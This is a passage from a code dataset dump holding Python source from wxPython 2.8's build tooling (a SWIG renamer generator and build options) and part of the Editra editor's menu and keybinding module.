modules from the wx package\n# here, then we'll put the wxPython.wx entry back in sys.modules.\nimport sys\n_wx = None\nif sys.modules.has_key('wxPython.wx'):\n _wx = sys.modules['wxPython.wx']\n del sys.modules['wxPython.wx']\n\nimport wx.%s\n\nsys.modules['wxPython.wx'] = _wx\ndel sys, _wx\n\n\n# Now assign all the reverse-renamed names:\n\"\"\"\n\nwxPythonTemplateEnd = \"\"\"\n\n\"\"\"\n\n\n\n#---------------------------------------------------------------------------\nclass BuildRenamers:\n def run(self, destdir, modname, xmlfile, wxPythonDir=\"wxPython\"): \n\n assert FOUND_LIBXML2, \"The libxml2 module is required to use the BuildRenamers functionality.\"\n \n if not os.path.exists(wxPythonDir):\n os.mkdir(wxPythonDir)\n\n swigDest = os.path.join(destdir, \"_\"+modname+\"_rename.i\")\n pyDest = os.path.join(wxPythonDir, modname + '.py')\n \n swigDestTemp = tempfile.mktemp('.tmp')\n swigFile = open(swigDestTemp, \"w\")\n swigFile.write(renamerTemplateStart)\n \n pyDestTemp = tempfile.mktemp('.tmp')\n pyFile = open(pyDestTemp, \"w\")\n pyFile.write(wxPythonTemplateStart % modname)\n \n print \"Parsing XML and building renamers...\"\n self.processXML(xmlfile, modname, swigFile, pyFile)\n \n self.checkOtherNames(pyFile, modname,\n os.path.join(destdir, '_'+modname+'_reverse.txt'))\n pyFile.write(wxPythonTemplateEnd) \n pyFile.close()\n\n swigFile.write(renamerTemplateEnd)\n swigFile.close()\n\n # Compare the files just created with the existing one and\n # blow away the old one if they are different.\n for dest, temp in [(swigDest, swigDestTemp),\n (pyDest, pyDestTemp)]:\n # NOTE: we don't use shutil.move() because it was introduced\n # in Python 2.3. Eventually we can switch to it when people\n # stop building using 2.2.\n if not os.path.exists(dest):\n shutil.copyfile(temp, dest)\n elif open(dest).read() != open(temp).read():\n os.unlink(dest)\n shutil.copyfile(temp, dest)\n else:\n print dest + \" not changed.\"\n os.unlink(temp)\n \n #---------------------------------------------------------------------------\n \n \n def GetAttr(self, node, name):\n path = \"./attributelist/attribute[@name='%s']/@value\" % name\n n = node.xpathEval2(path)\n if len(n):\n return n[0].content\n else:\n return None\n \n \n def processXML(self, xmlfile, modname, swigFile, pyFile):\n \n topnode = libxml2.parseFile(xmlfile).children\n \n # remove any import nodes as we don't need to do renamers for symbols found therein\n imports = topnode.xpathEval2(\"*/import\")\n for n in imports:\n n.unlinkNode()\n n.freeNode()\n \n # do a depth first iteration over what's left\n for node in topnode:\n doRename = False\n addWX = False\n revOnly = False\n \n \n if node.name == \"class\":\n lastClassName = name = self.GetAttr(node, \"name\")\n lastClassSymName = sym_name = self.GetAttr(node, \"sym_name\")\n doRename = True\n if sym_name != name:\n name = sym_name\n addWX = True\n \n # renamed constructors\n elif node.name == \"constructor\":\n name = self.GetAttr(node, \"name\")\n sym_name = self.GetAttr(node, \"sym_name\")\n if sym_name != name:\n name = sym_name\n addWX = True\n doRename = True\n \n # only enumitems at the top level\n elif node.name == \"enumitem\" and node.parent.parent.name == \"include\":\n name = self.GetAttr(node, \"name\")\n sym_name = self.GetAttr(node, \"sym_name\")\n doRename = True\n \n \n elif node.name in [\"cdecl\", \"constant\"]:\n name = self.GetAttr(node, \"name\")\n sym_name = self.GetAttr(node, \"sym_name\")\n toplevel = node.parent.name == \"include\"\n \n # top-level functions\n if toplevel and self.GetAttr(node, \"view\") == \"globalfunctionHandler\":\n doRename = True\n \n # top-level global vars\n elif toplevel and self.GetAttr(node, \"feature_immutable\") == \"1\":\n doRename = True\n \n # static methods\n elif self.GetAttr(node, \"view\") == \"staticmemberfunctionHandler\":\n name = lastClassName + '_' + name\n sym_name = lastClassSymName + '_' + sym_name\n # only output the reverse renamer in this case\n doRename = revOnly = True\n \n if doRename and name != sym_name:\n name = sym_name\n addWX = True\n \n \n if doRename and name:\n old = new = name\n if old.startswith('wx') and not old.startswith('wxEVT_'):\n # remove all wx prefixes except wxEVT_ and write a %rename directive for it\n new = old[2:]\n if not revOnly:\n swigFile.write(\"%%rename(%s) %35s;\\n\" % (new, old))\n \n # Write assignments to import into the old wxPython namespace\n if addWX and not old.startswith('wx'):\n old = 'wx'+old\n pyFile.write(\"%s = wx.%s.%s\\n\" % (old, modname, new))\n \n \n #---------------------------------------------------------------------------\n \n def checkOtherNames(self, pyFile, moduleName, filename):\n if os.path.exists(filename):\n prefixes = []\n for line in file(filename):\n if line.endswith('\\n'):\n line = line[:-1]\n if line and not line.startswith('#'):\n if line.endswith('*'):\n prefixes.append(line[:-1])\n elif line.find('=') != -1:\n pyFile.write(\"%s\\n\" % line)\n else:\n wxname = 'wx' + line\n if line.startswith('wx') or line.startswith('WX') or line.startswith('EVT'):\n wxname = line\n pyFile.write(\"%s = wx.%s.%s\\n\" % (wxname, moduleName, line))\n \n if prefixes:\n pyFile.write(\n \"\\n\\nd = globals()\\nfor k, v in wx.%s.__dict__.iteritems():\"\n % moduleName)\n first = True\n for p in prefixes:\n if first:\n pyFile.write(\"\\n if \")\n first = False\n else:\n pyFile.write(\"\\n elif \")\n pyFile.write(\"k.startswith('%s'):\\n d[k] = v\" % p)\n pyFile.write(\"\\ndel d, k, v\\n\\n\")\n\n \n#---------------------------------------------------------------------------\n", "id": "3739268", "language": "Python", "matching_score": 6.150836944580078, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/build/config.py" }, { "content": "\nUNICODE=1\nUNDEF_NDEBUG=1\nINSTALL_MULTIVERSION=1\nFLAVOUR=\"\"\nEP_ADD_OPTS=1\nEP_FULL_VER=0\nWX_CONFIG=\"None\"\nWXPORT=\"msw\"\nMONOLITHIC=0\nFINAL=0\nHYBRID=1\n", "id": "8041714", "language": "Python", "matching_score": 0.016155129298567772, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/build/build_options.py" }, { "content": "###############################################################################\n# Name: ed_menu.py #\n# Purpose: Editra's Menubar and Menu related classes #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007-2008 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nProvides an advanced menu class for easily creating menus and setting their\nrelated bitmaps when available from Editra's ArtProvider. The Keybinder class\nfor managing keybindings and profiles is also provided by this module.\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: ed_menu.py 68038 2011-06-24 17:18:05Z CJP $\"\n__revision__ = \"$Revision: 68038 $\"\n\n#--------------------------------------------------------------------------#\n# Dependancies\nimport os\nimport wx\n\n# Editra Libraries\nimport ed_glob\nimport ed_msg\nimport profiler\nimport util\nfrom syntax import syntax\nfrom syntax import synglob\n\n#--------------------------------------------------------------------------#\n# Globals\n_ = wx.GetTranslation\n\n#--------------------------------------------------------------------------#\n\nclass EdMenu(wx.Menu):\n \"\"\"Custom wxMenu class that makes it easier to customize and access items.\n\n \"\"\"\n def __init__(self, title=wx.EmptyString, style=0):\n \"\"\"Initialize a Menu Object\n @param title: menu title string\n @param style: type of menu to create\n\n \"\"\"\n super(EdMenu, self).__init__(title, style)\n\n def Append(self, id_, text=u'', helpstr=u'', \\\n kind=wx.ITEM_NORMAL, use_bmp=True):\n \"\"\"Append a MenuItem\n @keyword use_bmp: try and set a bitmap if an appropriate one is\n available in the ArtProvider\n\n \"\"\"\n item = wx.MenuItem(self, id_, text, helpstr, kind)\n self.AppendItem(item, use_bmp)\n return item\n\n def AppendEx(self, id_, text=u'', helpstr=u'',\n kind=wx.ITEM_NORMAL, use_bmp=True):\n \"\"\"Like L{Append} but automatically applies keybindings to text\n based on item id.\n\n \"\"\"\n binding = EdMenuBar.keybinder.GetBinding(id_)\n item = self.Append(id_, text+binding, helpstr, kind, use_bmp)\n return item\n\n def AppendItem(self, item, use_bmp=True):\n \"\"\"Appends a MenuItem to the menu and adds an associated\n bitmap if one is available, unless use_bmp is set to false.\n @keyword use_bmp: try and set a bitmap if an appropriate one is\n available in the ArtProvider\n\n \"\"\"\n if use_bmp and item.GetKind() == wx.ITEM_NORMAL:\n self.SetItemBitmap(item)\n super(EdMenu, self).AppendItem(item)\n\n def Insert(self, pos, id_, text=u'', helpstr=u'', \\\n kind=wx.ITEM_NORMAL, use_bmp=True):\n \"\"\"Insert an item at position and attach a bitmap\n if one is available.\n @keyword use_bmp: try and set a bitmap if an appropriate one is\n available in the ArtProvider\n\n \"\"\"\n item = super(EdMenu, self).Insert(pos, id_, text, helpstr, kind)\n if use_bmp and kind == wx.ITEM_NORMAL:\n self.SetItemBitmap(item)\n return item\n\n def InsertAfter(self, item_id, id_, label=u'', helpstr=u'',\n kind=wx.ITEM_NORMAL, use_bmp=True):\n \"\"\"Inserts the given item after the specified item id in\n the menu. If the id cannot be found then the item will appended\n to the end of the menu.\n @keyword use_bmp: try and set a bitmap if an appropriate one is\n available in the ArtProvider\n @return: the inserted menu item\n\n \"\"\"\n pos = None\n for item in xrange(self.GetMenuItemCount()):\n mitem = self.FindItemByPosition(item)\n if mitem.GetId() == item_id:\n pos = item\n break\n if pos:\n mitem = self.Insert(pos + 1, id_, label, helpstr, kind, use_bmp)\n else:\n mitem = self.Append(id_, label, helpstr, kind, use_bmp)\n return mitem\n\n def InsertBefore(self, item_id, id_, label=u'', helpstr=u'',\n kind=wx.ITEM_NORMAL, use_bmp=True):\n \"\"\"Inserts the given item before the specified item id in\n the menu. If the id cannot be found then the item will appended\n to the end of the menu.\n @keyword use_bmp: try and set a bitmap if an appropriate one is\n available in the ArtProvider\n @return: menu item that was inserted\n\n \"\"\"\n pos = None\n for item in xrange(self.GetMenuItemCount()):\n mitem = self.FindItemByPosition(item)\n if mitem.GetId() == item_id:\n pos = item\n break\n if pos:\n mitem = self.Insert(pos, id_, label, helpstr, kind, use_bmp)\n else:\n mitem = self.Append(id_, label, helpstr, kind, use_bmp)\n return mitem\n\n def InsertAlpha(self, id_, label=u'', helpstr=u'',\n kind=wx.ITEM_NORMAL, after=0, use_bmp=True):\n \"\"\"Attempts to insert the new menuitem into the menu\n alphabetically. The optional parameter 'after' is used\n specify an item id to start the alphabetical lookup after.\n Otherwise the lookup begins from the first item in the menu.\n @keyword after: id of item to start alpha lookup after\n @keyword use_bmp: try and set a bitmap if an appropriate one is\n available in the ArtProvider\n @return: menu item that was inserted\n\n \"\"\"\n if after:\n start = False\n else:\n start = True\n last_ind = self.GetMenuItemCount() - 1\n pos = last_ind\n for item in range(self.GetMenuItemCount()):\n mitem = self.FindItemByPosition(item)\n if mitem.IsSeparator():\n continue\n\n mlabel = mitem.GetItemLabel()\n if after and mitem.GetId() == after:\n start = True\n continue\n if after and not start:\n continue\n if label < mlabel:\n pos = item\n break\n\n l_item = self.FindItemByPosition(last_ind)\n if pos == last_ind and (l_item.IsSeparator() or label > mlabel):\n mitem = self.Append(id_, label, helpstr, kind, use_bmp)\n else:\n mitem = self.Insert(pos, id_, label, helpstr, kind, use_bmp)\n return mitem\n\n def RemoveItemByName(self, name):\n \"\"\"Removes an item by the label. It will remove the first\n item matching the given name in the menu, the matching is\n case sensitive. The return value is the either the id of the\n removed item or None if the item was not found.\n @param name: name of item to remove\n @return: id of removed item or None if not found\n\n \"\"\"\n menu_id = None\n for pos in range(self.GetMenuItemCount()):\n item = self.FindItemByPosition(pos)\n if name == item.GetLabel():\n menu_id = item.GetId()\n self.Remove(menu_id)\n break\n return menu_id\n\n def SetItemBitmap(self, item):\n \"\"\"Sets the MenuItems bitmap by getting the id from the\n artprovider if one exists.\n @param item: item to set bitmap for\n\n \"\"\"\n bmp = wx.ArtProvider.GetBitmap(str(item.GetId()), wx.ART_MENU)\n if not bmp.IsNull():\n item.SetBitmap(bmp)\n\n#-----------------------------------------------------------------------------#\n\nclass KeyBinder(object):\n \"\"\"Class for managing keybinding configurations\"\"\"\n cprofile = None # Current Profile Name String\n keyprofile = dict() # Active Profile (dict)\n\n def __init__(self):\n \"\"\"Create the KeyBinder object\"\"\"\n super(KeyBinder, self).__init__()\n\n # Attributes\n self.cache = ed_glob.CONFIG['CACHE_DIR'] # Resource Directory\n\n def GetBinding(self, item_id):\n \"\"\"Get the keybinding string for use in a menu\n @param item_id: Menu Item Id\n @return: string\n\n \"\"\"\n rbind = self.GetRawBinding(item_id)\n shortcut = u''\n if rbind is not None:\n shortcut = u\"+\".join(rbind)\n if len(shortcut):\n shortcut = u\"\\t\" + shortcut\n return unicode(shortcut)\n\n @classmethod\n def GetCurrentProfile(cls):\n \"\"\"Get the name of the currently set key profile if one exists\n @return: string or None\n\n \"\"\"\n return cls.cprofile\n\n @classmethod\n def GetCurrentProfileDict(cls):\n \"\"\"Get the dictionary of keybindings\n @return: dict\n\n \"\"\"\n return cls.keyprofile\n\n @staticmethod\n def GetKeyProfiles():\n \"\"\"Get the list of available key profiles\n @return: list of strings\n\n \"\"\"\n recs = util.GetResourceFiles(u'cache', trim=True, get_all=False,\n suffix='.ekeys', title=False)\n if recs == -1:\n recs = list()\n\n tmp = util.GetResourceFiles(u'ekeys', True, True, '.ekeys', False)\n if tmp != -1:\n recs.extend(tmp)\n\n return recs\n\n def GetProfilePath(self, pname):\n \"\"\"Get the full path to the given keyprofile\n @param pname: profile name\n @return: string or None\n @note: expects unique name for each profile in the case that\n a name exists in both the user and system paths the one\n found on the user path will be returned.\n\n \"\"\"\n if pname is None:\n return None\n\n rname = None\n for rec in self.GetKeyProfiles():\n if rec.lower() == pname.lower():\n rname = rec\n break\n\n # Must be a new profile\n if rname is None:\n rname = pname\n\n kprof = u\"%s%s.ekeys\" % (ed_glob.CONFIG['CACHE_DIR'], rname)\n if not os.path.exists(kprof):\n # Must be a system supplied keyprofile\n rname = u\"%s%s.ekeys\" % (ed_glob.CONFIG['KEYPROF_DIR'], rname)\n if not os.path.exists(rname):\n # Doesn't exist at syspath either so instead assume it is a new\n # custom user defined key profile.\n rname = kprof\n else:\n rname = kprof\n\n return rname\n\n @classmethod\n def GetRawBinding(cls, item_id):\n \"\"\"Get the raw key binding tuple\n @param item_id: MenuItem Id\n @return: tuple\n\n \"\"\"\n return cls.keyprofile.get(item_id, None)\n\n @classmethod\n def FindMenuId(cls, keyb):\n \"\"\"Find the menu item ID that the\n keybinding is currently associated with.\n @param keyb: tuple of unicode (u'Ctrl', u'C')\n @return: int (-1 if not found)\n\n \"\"\"\n menu_id = -1\n for key, val in cls.keyprofile.iteritems():\n if val == keyb:\n menu_id = key\n break\n return menu_id\n\n @classmethod\n def LoadDefaults(cls):\n \"\"\"Load the default key profile\"\"\"\n cls.keyprofile = dict(_DEFAULT_BINDING)\n cls.cprofile = None\n\n def LoadKeyProfile(self, pname):\n \"\"\"Load a key profile into the binder\n @param pname: name of key profile to load\n\n \"\"\"\n if pname is None:\n ppath = None\n else:\n ppath = self.GetProfilePath(pname)\n\n keydict = dict()\n if ppath is not None and os.path.exists(ppath):\n reader = util.GetFileReader(ppath)\n if reader != -1:\n util.Log(\"[keybinder][info] Loading KeyProfile: %s\" % ppath)\n for line in reader:\n parts = line.split(u'=', 1)\n # Check that the line was formatted properly\n if len(parts) == 2:\n # Try to find the ID value\n item_id = _GetValueFromStr(parts[0])\n if item_id is not None:\n tmp = [ part.strip()\n for part in parts[1].split(u'+')\n if len(part.strip()) ]\n\n # Do some checking if the binding is valid\n nctrl = len([key for key in tmp\n if key not in (u'Ctrl', u'Alt', u'Shift')])\n if nctrl:\n keydict[item_id] = tmp\n if parts[1].strip().endswith(u'++'):\n keydict[item_id].append(u'+')\n else:\n # Invalid key binding\n continue\n\n reader.close()\n KeyBinder.keyprofile = keydict\n KeyBinder.cprofile = pname\n return\n else:\n util.Log(\"[keybinder][err] Couldn't read %s\" % ppath)\n elif pname is not None:\n # Fallback to default keybindings\n util.Log(\"[keybinder][err] Failed to load bindings from %s\" % pname)\n\n util.Log(\"[keybinder][info] Loading Default Keybindings\")\n KeyBinder.LoadDefaults()\n\n def SaveKeyProfile(self):\n \"\"\"Save the current key profile to disk\"\"\"\n if KeyBinder.cprofile is None:\n util.Log(\"[keybinder][warn] No keyprofile is set, cant save\")\n else:\n ppath = self.GetProfilePath(KeyBinder.cprofile)\n writer = util.GetFileWriter(ppath)\n if writer != -1:\n itemlst = list()\n for item in KeyBinder.keyprofile.keys():\n itemlst.append(u\"%s=%s%s\" % (_FindStringRep(item),\n self.GetBinding(item).lstrip(),\n os.linesep))\n writer.writelines(sorted(itemlst))\n writer.close()\n else:\n util.Log(\"[keybinder][err] Failed to open %s for writing\" % ppath)\n\n @classmethod\n def SetBinding(cls, item_id, keys):\n \"\"\"Set the keybinding of a menu id\n @param item_id: item to set\n @param keys: string or list of key strings ['Ctrl', 'S']\n\n \"\"\"\n if isinstance(keys, basestring):\n keys = [ key.strip() for key in keys.split(u'+')\n if len(key.strip())]\n keys = tuple(keys)\n\n if len(keys):\n # Check for an existing binding\n menu_id = cls.FindMenuId(keys)\n if menu_id != -1:\n del cls.keyprofile[menu_id]\n # Set the binding\n cls.keyprofile[item_id] = keys\n elif item_id in cls.keyprofile:\n # Clear the binding\n del cls.keyprofile[item_id]\n else:\n pass\n\n @classmethod\n def SetProfileName(cls, pname):\n \"\"\"Set the name of the current profile\n @param pname: name to set profile to\n\n \"\"\"\n cls.cprofile = pname\n\n @classmethod\n def SetProfileDict(cls, keyprofile):\n \"\"\"Set the keyprofile using a dictionary of id => bindings\n @param keyprofile: { menu_id : (u'Ctrl', u'C'), }\n\n \"\"\"\n cls.keyprofile = keyprofile\n\n#-----------------------------------------------------------------------------#\n\nclass EdMenuBar(wx.MenuBar):\n \"\"\"Custom menubar to allow for easier access and updating\n of menu components.\n @todo: redo all of this\n\n \"\"\"\n keybinder = KeyBinder()\n\n def __init__(self, style=0):\n \"\"\"Initializes the Menubar\n @keyword style: style to set for menu bar\n\n \"\"\"\n super(EdMenuBar, self).__init__(style)\n\n # Setup\n if EdMenuBar.keybinder.GetCurrentProfile() is None:\n kprof = profiler.Profile_Get('KEY_PROFILE', default='default')\n EdMenuBar.keybinder.LoadKeyProfile(kprof)\n\n # Attributes\n self._menus = dict()\n self.GenFileMenu()\n self.GenEditMenu()\n self.GenViewMenu()\n self.GenFormatMenu()\n self.GenSettingsMenu()\n self.GenToolsMenu()\n self.GenHelpMenu()\n\n # Message handlers\n ed_msg.Subscribe(self.OnRebind, ed_msg.EDMSG_MENU_REBIND)\n ed_msg.Subscribe(self.OnLoadProfile, ed_msg.EDMSG_MENU_LOADPROFILE)\n ed_msg.Subscribe(self.OnCreateLexerMenu, ed_msg.EDMSG_CREATE_LEXER_MENU)\n\n def CreateLexerMenu(self):\n \"\"\"Create the Lexer menu\"\"\"\n settingsmenu = self._menus['settings']\n item = settingsmenu.FindItemById(ed_glob.ID_LEXER)\n if item:\n settingsmenu.Remove(ed_glob.ID_LEXER)\n mconfig = profiler.Profile_Get('LEXERMENU', default=list())\n mconfig.sort()\n\n # Create the menu\n langmenu = wx.Menu()\n langmenu.Append(ed_glob.ID_LEXER_CUSTOM, _(\"Customize...\"),\n _(\"Customize the items shown in this menu.\"))\n langmenu.AppendSeparator()\n\n for label in mconfig:\n lid = synglob.GetIdFromDescription(label)\n langmenu.Append(lid, label,\n _(\"Switch Lexer to %s\") % label, wx.ITEM_CHECK)\n\n settingsmenu.AppendMenu(ed_glob.ID_LEXER, _(\"Lexers\"),\n langmenu,\n _(\"Manually Set a Lexer/Syntax\"))\n\n @classmethod\n def DeleteKeyProfile(cls, pname):\n \"\"\"Remove named keyprofile\n @param pname: keyprofile name\n @return: True if removed, False otherwise\n\n \"\"\"\n ppath = cls.keybinder.GetProfilePath(pname)\n if ppath is not None and os.path.exists(ppath):\n try:\n os.remove(ppath)\n except:\n return False\n else:\n return True\n else:\n return False\n\n # TODO these Gen* functions should be broken up to the components\n # that supply the functionality and inserted in the menus on\n # init when the editor loads an associated widget.\n def GenFileMenu(self):\n \"\"\"Makes and attaches the file menu\n @return: None\n\n \"\"\"\n filemenu = EdMenu()\n filehist = self._menus['filehistory'] = EdMenu()\n filemenu.AppendEx(ed_glob.ID_NEW, _(\"&New Tab\"),\n _(\"Start a new file in a new tab\"))\n filemenu.AppendEx(ed_glob.ID_NEW_WINDOW, _(\"New &Window\"),\n _(\"Start a new file in a new window\"))\n filemenu.AppendSeparator()\n filemenu.AppendEx(ed_glob.ID_OPEN, _(\"&Open\"), _(\"Open\"))\n ## Setup File History in the File Menu\n filemenu.AppendMenu(ed_glob.ID_FHIST, _(\"Open &Recent\"),\n filehist, _(\"Recently Opened Files\"))\n filemenu.AppendSeparator()\n filemenu.AppendEx(ed_glob.ID_CLOSE, _(\"&Close Tab\"),\n _(\"Close Current Tab\"))\n filemenu.AppendEx(ed_glob.ID_CLOSE_WINDOW,\n _(\"Close Window\") , _(\"Close the current window\"))\n filemenu.AppendEx(ed_glob.ID_CLOSEALL, _(\"Close All Tabs\"),\n _(\"Close all open tabs\"))\n filemenu.AppendSeparator()\n filemenu.AppendEx(ed_glob.ID_SAVE, _(\"&Save\"), _(\"Save Current File\"))\n filemenu.AppendEx(ed_glob.ID_SAVEAS, _(\"Save &As\"), _(\"Save As\"))\n filemenu.AppendEx(ed_glob.ID_SAVEALL, _(\"Save All\"),\n _(\"Save all open pages\"))\n filemenu.AppendSeparator()\n filemenu.AppendEx(ed_glob.ID_REVERT_FILE, _(\"Revert to Saved\"),\n _(\"Revert file to last save point\"))\n filemenu.AppendEx(ed_glob.ID_RELOAD_ENC, _(\"Reload with Encoding...\"),\n _(\"Reload the file with a specified encoding\"))\n filemenu.AppendSeparator()\n\n # Profile\n pmenu = EdMenu()\n pmenu.AppendEx(ed_glob.ID_SAVE_PROFILE, _(\"Save Profile\"),\n _(\"Save Current Settings to a New Profile\"))\n pmenu.AppendEx(ed_glob.ID_LOAD_PROFILE, _(\"Load Profile\"),\n _(\"Load a Custom Profile\"))\n filemenu.AppendSubMenu(pmenu, _(\"Profile\"),\n _(\"Load and save custom Profiles\"))\n\n # Sessions\n smenu = EdMenu()\n smenu.AppendEx(ed_glob.ID_SAVE_SESSION, _(\"Save Session\"),\n _(\"Save the current session.\"))\n smenu.AppendEx(ed_glob.ID_LOAD_SESSION, _(\"Load Session\"),\n _(\"Load a saved session.\"))\n filemenu.AppendSubMenu(smenu, _(\"Sessions\"),\n _(\"Load and save custom sessions.\"))\n\n filemenu.AppendSeparator()\n filemenu.AppendEx(ed_glob.ID_PRINT_SU, _(\"Page Set&up\"),\n _(\"Configure Printer\"))\n filemenu.AppendEx(ed_glob.ID_PRINT_PRE, _(\"Print Pre&view\"),\n _(\"Preview Printout\"))\n filemenu.AppendEx(ed_glob.ID_PRINT, _(\"&Print\"), _(\"Print Current File\"))\n filemenu.AppendSeparator()\n filemenu.AppendEx(ed_glob.ID_EXIT, _(\"E&xit\"), _(\"Exit the Program\"))\n\n # Attach to menubar and save reference\n self.Append(filemenu, _(\"&File\"))\n self._menus['file'] = filemenu\n\n def GenEditMenu(self):\n \"\"\"Makes and attaches the edit menu\n @return: None\n\n \"\"\"\n editmenu = EdMenu()\n editmenu.AppendEx(ed_glob.ID_UNDO, _(\"&Undo\"), _(\"Undo Last Action\"))\n editmenu.AppendEx(ed_glob.ID_REDO, _(\"Redo\"), _(\"Redo Last Undo\"))\n editmenu.AppendSeparator()\n editmenu.AppendEx(ed_glob.ID_CUT, _(\"Cu&t\"),\n _(\"Cut Selected Text from File\"))\n editmenu.AppendEx(ed_glob.ID_COPY, _(\"&Copy\"),\n _(\"Copy Selected Text to Clipboard\"))\n editmenu.AppendEx(ed_glob.ID_PASTE, _(\"&Paste\"),\n _(\"Paste Text from Clipboard to File\"))\n editmenu.AppendEx(ed_glob.ID_PASTE_AFTER, _(\"P&aste After\"),\n _(\"Paste Text from Clipboard to File after the cursor\"))\n editmenu.AppendEx(ed_glob.ID_CYCLE_CLIPBOARD, _(\"Cycle Clipboard\"),\n _(\"Cycle through recent clipboard text\"))\n editmenu.AppendSeparator()\n editmenu.AppendEx(ed_glob.ID_SELECTALL, _(\"Select &All\"),\n _(\"Select All Text in Document\"))\n editmenu.AppendEx(ed_glob.ID_COLUMN_MODE, _(\"Column Edit\"),\n _(\"Enable column edit mode.\"), wx.ITEM_CHECK)\n editmenu.AppendSeparator()\n linemenu = EdMenu()\n linemenu.AppendEx(ed_glob.ID_LINE_AFTER, _(\"New Line After\"),\n _(\"Add a new line after the current line\"))\n linemenu.AppendEx(ed_glob.ID_LINE_BEFORE, _(\"New Line Before\"),\n _(\"Add a new line before the current line\"))\n linemenu.AppendSeparator()\n linemenu.AppendEx(ed_glob.ID_CUT_LINE, _(\"Cut Line\"),\n _(\"Cut Current Line\"))\n linemenu.AppendEx(ed_glob.ID_DELETE_LINE, _(\"Delete Line\"),\n _(\"Delete the selected line(s)\"))\n linemenu.AppendEx(ed_glob.ID_COPY_LINE, _(\"Copy Line\"),\n _(\"Copy Current Line\"))\n linemenu.AppendEx(ed_glob.ID_DUP_LINE, _(\"Duplicate Line\"),\n _(\"Duplicate the current line\"))\n linemenu.AppendSeparator()\n linemenu.AppendEx(ed_glob.ID_JOIN_LINES, _(\"Join Lines\"),\n _(\"Join the Selected Lines\"))\n linemenu.AppendEx(ed_glob.ID_TRANSPOSE, _(\"Transpose Line\"),\n _(\"Transpose the current line with the previous one\"))\n linemenu.AppendEx(ed_glob.ID_LINE_MOVE_UP, _(\"Move Current Line Up\"),\n _(\"Move the current line up\"))\n linemenu.AppendEx(ed_glob.ID_LINE_MOVE_DOWN,\n _(\"Move Current Line Down\"),\n _(\"Move the current line down\"))\n editmenu.AppendMenu(ed_glob.ID_LINE_EDIT, _(\"Line Edit\"), linemenu,\n _(\"Commands that affect an entire line\"))\n bookmenu = EdMenu()\n bookmenu.AppendEx(ed_glob.ID_ADD_BM, _(\"Toggle Bookmark\"),\n _(\"Toggle bookmark of the current line\"))\n bookmenu.AppendEx(ed_glob.ID_DEL_ALL_BM, _(\"Remove All Bookmarks\"),\n _(\"Remove all bookmarks from the current document\"))\n editmenu.AppendMenu(ed_glob.ID_BOOKMARK, _(\"Bookmarks\"), bookmenu,\n _(\"Add and remove bookmarks\"))\n editmenu.AppendSeparator()\n # Autocompletion shortcuts\n editmenu.AppendEx(ed_glob.ID_SHOW_AUTOCOMP, _(\"Word Completion\"),\n _(\"Show autocompletion hints.\"))\n editmenu.AppendEx(ed_glob.ID_SHOW_CALLTIP, _(\"Show Calltip\"),\n _(\"Show a calltip for the current word.\"))\n editmenu.AppendSeparator()\n editmenu.AppendEx(ed_glob.ID_FIND, _(\"&Find\"), _(\"Find Text\"))\n editmenu.AppendEx(ed_glob.ID_FIND_REPLACE, _(\"Find/R&eplace\"),\n _(\"Find and Replace Text\"))\n editmenu.AppendEx(ed_glob.ID_QUICK_FIND, _(\"&Quick Find\"),\n _(\"Open the Quick Find Bar\"))\n editmenu.AppendEx(ed_glob.ID_FIND_PREVIOUS, _(\"Find Previous\"),\n _(\"Goto previous match\"))\n editmenu.AppendEx(ed_glob.ID_FIND_NEXT, _(\"Find Next\"),\n _(\"Goto the next match\"))\n editmenu.AppendEx(ed_glob.ID_FIND_SELECTED, _(\"Find Selected\"),\n _(\"Search for the currently selected phrase\"))\n editmenu.AppendSeparator()\n editmenu.AppendEx(ed_glob.ID_PREF, _(\"Pr&eferences\"),\n _(\"Edit Preferences / Settings\"))\n\n # Attach to menubar and save ref\n self.Append(editmenu, _(\"&Edit\"))\n self._menus['edit'] = editmenu\n\n def GenViewMenu(self):\n \"\"\"Makes and attaches the view menu\n @return: None\n\n \"\"\"\n viewmenu = EdMenu()\n viewmenu.AppendEx(ed_glob.ID_ZOOM_OUT, _(\"Zoom Out\"), _(\"Zoom Out\"))\n viewmenu.AppendEx(ed_glob.ID_ZOOM_IN, _(\"Zoom In\"), _(\"Zoom In\"))\n viewmenu.AppendEx(ed_glob.ID_ZOOM_NORMAL, _(\"Zoom Default\"),\n _(\"Zoom Default\"))\n viewmenu.AppendSeparator()\n viewedit = self._menus['viewedit'] = EdMenu()\n viewedit.AppendEx(ed_glob.ID_HLCARET_LINE, _(\"Highlight Caret Line\"),\n _(\"Highlight the background of the current line\"),\n wx.ITEM_CHECK)\n viewedit.AppendEx(ed_glob.ID_INDENT_GUIDES, _(\"Indentation Guides\"),\n _(\"Show Indentation Guides\"), wx.ITEM_CHECK)\n viewedit.AppendEx(ed_glob.ID_SHOW_EDGE, _(\"Show Edge Guide\"),\n _(\"Show the edge column guide\"), wx.ITEM_CHECK)\n viewedit.AppendEx(ed_glob.ID_SHOW_EOL, _(\"Show EOL Markers\"),\n _(\"Show EOL Markers\"), wx.ITEM_CHECK)\n viewedit.AppendEx(ed_glob.ID_SHOW_LN, _(\"Show Line Numbers\"),\n _(\"Show Line Number Margin\"), wx.ITEM_CHECK)\n viewedit.AppendEx(ed_glob.ID_SHOW_WS, _(\"Show Whitespace\"),\n _(\"Show Whitespace Markers\"), wx.ITEM_CHECK)\n viewmenu.AppendSubMenu(self._menus['viewedit'], _(\"Editor\"), \\\n _(\"Toggle Editor View Options\"))\n viewfold = self._menus['viewfold'] = EdMenu()\n viewfold.AppendEx(ed_glob.ID_TOGGLE_FOLD, _(\"Toggle fold\"),\n _(\"Toggle current fold\"))\n viewfold.AppendEx(ed_glob.ID_TOGGLE_ALL_FOLDS, _(\"Toggle all folds\"),\n _(\"Toggle all folds\"))\n viewmenu.AppendSubMenu(self._menus['viewfold'], _(\"Code Folding\"), \\\n _(\"Code folding toggle actions\"))\n\n viewmenu.AppendSeparator()\n viewmenu.AppendEx(ed_glob.ID_PANELIST, _(\"Pane Navigator\"),\n _(\"View pane selection list\"))\n viewmenu.AppendEx(ed_glob.ID_MAXIMIZE_EDITOR, _(\"Maximize Editor\"),\n _(\"Toggle Editor Maximization\"))\n 